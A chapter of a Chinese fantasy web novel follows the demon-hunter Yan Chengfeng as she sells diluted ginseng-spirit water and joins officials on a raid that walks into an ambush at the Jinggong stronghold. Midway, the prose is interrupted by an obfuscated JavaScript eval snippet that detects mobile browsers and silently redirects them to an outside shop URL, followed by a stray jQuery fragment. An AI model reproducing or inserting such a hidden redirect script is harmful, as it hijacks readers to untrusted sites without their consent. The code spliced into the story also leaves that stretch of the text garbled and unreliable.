应听澜一行人找到了晶宫的据点,想要让人把活干好,不能藏着掖着。

    应听澜没瞒她,言明了身份,很坦然的告诉她一切。

    他存了个心思,若是此番晏乘风能活下来,想要招揽晏乘风进监察司。如果人死了,自然更不存在泄露监察司消息的事。

    晏乘风和监察司的诸位赶路时,老神在在,压根儿没听他们在说什么。

    有妖怪参与的案件,什么筹谋和布局都是扯淡。

    人家压根和你不在一个水平线上。

    遑论他们这十几个人,甚至称不上一声人多势众。

    五级妖怪,灭一座城都足够了,十几个人算什么?

    她和参娃聊了一路。“参娃,今天去洗个澡,家里穷的揭不开锅了。”

    “哪儿穷不开锅?老宋给了你五百两,一个铜子儿都没克扣。你刚还从应听澜那里勒索了一千两,现在你身怀巨款,富得很。”

    “哪有人参精天天洗澡?再洗就洗秃噜皮了,我不洗!”参娃抗议。

    晏乘风放在后世,就是个妥妥的黑心资本家。光让人干活,还不给钱。

    她登录白牌,在里头看了一眼自己的小店。

    她的小店里主要销售的是符箓和人参水。

    符箓靠手绘,人参水靠参娃洗澡攒。

    小店里还包含了各种杂七杂八,她用不上,又舍不得扔掉的,从妖怪身上扒拉下来的一些器材。

    比如之前她抓到了一尾人鱼,人鱼可怜兮兮求放过,眼泪流了一箩筐。

    珍珠她留着没用,干脆放在悬镜里头全部拿去卖。

    鲛珠泪色泽绝美,凭此得到一笔不小的进项。

    她还打过陆离界妖怪的主意,里头有不少带毛的妖怪,她会忽悠妖怪们剃毛。

    剃过三次,直到好不容易长出来的毛又给剃掉,妖怪们终于缓过神来,把她骂了个狗血临头,再不肯剃毛。

    晏乘风当时说的那叫一个理直气壮,为了建设崭新的陆离界,不过是提供一点自己的毛罢了,值当什么?

    也怪捉妖师们不要她的毛,要是她的毛有用,她一天剃八回。

    脸皮厚的堪比城墙,令涉世未深的妖怪们叹为观止。

    在悬镜卖的最好的是参娃的三千年人参水,参娃的药用价值不可估量。

    饶是她努力掺水再掺水,还是供不应求。

    晏乘风舔着脸求参娃,“悬镜里的人参水卖完了,亟需补货,你今天浅浅洗一下,我给你买身新衣裳。”

    一件新衣服就想让他卖身,门儿都没有。

    吃一堑长一智,参娃在晏乘风手上吃了无数次亏,这回说什么都不同意。

    “要是换做参爷爷的人格出现,你还敢说出这样的话吗?”

    人参精有两个人格,参娃和人参爷爷随意切换,看她需要。

    大部分时候,陪伴晏乘风的是参娃。

    所以外人看来,她是一家三口,年迈多病不常出门见人的爷爷,起早贪黑干活赚钱的她和年幼不懂事的弟弟。

    参娃不解,他明明是一株万年人参精,为什么晏乘风卖的却是三千年的人参水?

    “哦,因为我把它稀释了一些。”

    参娃警铃大作,“一点是多少?”

    参娃洗澡,每一次只浅浅的洗一下,水一泼,马上结束。生怕多浪费一丝自己的灵气到水里。

    没办法,为了赚钱嘛,不寒碜。

    一滴人参水,兑一桶凉水。

    用小瓶子装好了,放到悬镜里头卖。

    所以万年人参精的参液只敢卖三千年的年份。水分稀释再稀释,药效略等于无。

    纵然真的是万年人参精的参液,别人也不信啊。

    所以她卖的其实只是一个瓶子的钱。

    参娃:……

    “悬镜的捉妖师知道你卖假货吗?”

    “这怎么能是假货?这是绝对的真货。”晏乘风理直气壮,“参娃你要对自己的实力自信一点。哪怕被我稀释再稀释,外头3000年的人参水,还没有我的有效果呢。”

    “放心吧,我心里有数。一滴只稀释一桶水,堪称业界良心。”她只差没拍胸脯。

    果然,没有任何一个奸商会认为自己卖的是假货。首先骗过自己,然后才能骗人。

    见晏乘风一直沉默,一语不发,应听澜悄悄打量她。

    家中困难,能力很强,性格很好,想到老镖头宋雪鸣的评价,应听澜心头升起浓浓的困惑。

    莫非是家道中落?

    她举手投足,分明带着大富大贵之家才能养出来的从容,天不怕地不怕,老子最大的架势,根本不是小门小户养的出的教养。

    横背一把剑,应听澜注意到,她的腰上缠着一条鞭子。虽然和寻常鞭子长的不大一样,但他确定,一定是条鞭子。

    所谓晶宫据点,是建在悬崖上的一座小楼,一行人乘船过去。水花泛开浅浅的痕迹,悄无声息。

    两侧崖壁高耸入云,仅留一线河道穿过。

    河道最深处,便是晶宫。

    他们逆流而上,穿过一道峡谷,狭窄的河道忽然开阔,来到一条颇为宽阔的河面。

    晏乘风认出,此地是城内河流的上游。

    “你们不觉得我们一路来的太顺利了吗?”不安感越发强烈,浑身肌肉紧绷,警惕周边风吹草动。

    “他们请君入瓮,焉知我们又不是将计就计?”应听澜从容道。

    晏乘风不由无言。

    大哥,你谁啊?自信过头了吧?水里的妖怪几斤几两重你都不知道,情况还没打听明白,还自信满满的降妖除魔?得亏你是个凡人,要是干捉妖师这行,出不了三个任务就得托人给你收尸。

    他们看见尽头岸上那座巍峨宏伟的屋殿,上了岸去。

    晏乘风:……

    从看见这座“屋子”开始,她在心里停不下来疯狂吐槽。

    她很难描述此情此景,甚至觉得是有点邪门的程度。

    她以为的建立在悬崖峭壁上的据点:一座小木屋或者一座吊脚楼,顶多悬崖上面挖个洞当野人,至多几十个人,偷偷摸摸,躲躲藏藏,监察司十几个好手加上她,游刃有余。

    实际的据点:抬头望不见顶的建筑,绵延成片的屋舍,外加数不清的密密麻麻的人。

    不是?这群人来搞笑的吧?哪怕他们不知道里头有妖怪,好歹这也是个邪教据点啊,能不能打探清楚情况再来搞偷袭!

    十几个人,就敢来闯。真把自己当救世主,以一敌万?

    她深深认为,监察司这些人不是来把人犯缉拿归案的,他们是干活累到发疯,决定早点把自己送上西天。

    晏乘风深吸一口气,一口气差点提不上来。

    纯纯被气的。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606621|205748||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他们上岸之后,水里接二连三冒出一个又一个脑袋,简而言之,水上浮着一群人。

    精雕细琢的堡垒每一层,出现成排的弓箭手,箭头对准他们,只待一声令下,瞬间能把他们穿成刺猬。

    以及他们对面的,气势宏伟,排场极大的一大伙人。

    他们靠双腿上岸,里头的人骑着高头大马出现,为首的那个冷冷一笑,笑的邪魅张扬,讽刺感十足。

    只见他手上的马鞭一挥,居高临下道, “呵,监察司?什么东西!呸!哪怕你是条龙,来到晶宫,也得给我卧着!就是你们杀了肥虾,沾了我们晶宫的血,一命还一命,今天,你们全都得把命留在这儿!”

    现在逃跑,说她走错了路,还来得及吗?

    随着面前的男人轻轻一抬手,箭如雨下。

    开打之后,晏乘风觉得还行。没想象的那么难以应对。

    她抽剑抵挡,拦下箭雨。她能清楚看到每一根箭矢的走势,完美躲避。监察司的人应付的虽狼狈,却也无甚大碍。想来,敢带着十几个人独闯龙潭虎穴,到底有点用处。

    不过比起晏乘风的游刃有余,他们之中多数人多挂了彩。箭矢擦过脸上身上,留下一道血色的痕迹。

    第一波箭雨完,水下和岸上的人都发起进攻。

    现下,应听澜完全没有剿匪的心思,全力计划撤退。

    其他人皆是多年合作的同僚,自然深知他的打算,一群人缓缓后退,试图回到船上去。

    该死!

    被人瓮中捉鳖!

    在陆地他尚有法子能杀出一条血路离开,到了这个几乎与世隔绝的地方,前头是悬崖峭壁,又有敌人阻拦。后头是深不见底的水域,偏生敌人深谙水性。

    只恨他们轻功不够高,不能插了翅膀飞出去。

    若能从头顶一线天飞走,这伙贼人倒是拿他们没办法。

    “晏姑娘,此番是我们考虑不周连累你了。你放心,你若战死在此,监察司必会大力补偿你的家人,让他们后半生无忧。”霍风眠保证。

    晏乘风给他翻了个白眼,用不着。

    她提剑一跃而起,斩杀数人,瞬间清空一片。

    若非此刻不合时宜,霍风眠想大赞一声,“好!”

    她杀的卖力,自然惹人注意。尤其她的唯一一个没有受伤的人,一根头发丝都没被伤到。

    “晏姑娘,你一身好功夫如何习得?若此番我们能逃脱,还望不吝赐教。监察司必有重谢。”应听澜这时候了,还不忘招揽。他看出晏乘风的游刃有余,心中大定。

    身体自有本能,哪怕她放空自己,也能杀的干脆利落。

    晏乘风回应他,“很简单,多杀杀,杀到你的身体出现本能,你也能像我一样丝滑出招。”

    “监察司杀的人,难道还会比你一个镖师少?”一黑脸少年大吼,他应对的十分狼狈。

    “哈哈。”晏乘风干笑一声,没有作答。

    当然少。

    她五岁穿越到这个世界,来到这个充斥着妖怪的世界。监察司的官吏只从世袭的贵族中选拔,出身高贵,怎会知出生底层的人有多艰难?穷困之地的女孩子,尚未成长的捉妖师,既是世俗凡间被欺辱的对象,在妖怪的世界里,更是一块香喷喷的小点心。

    五岁到二十五岁,她埋头拼命整整二十年,才努力让自己不被世界杀穿。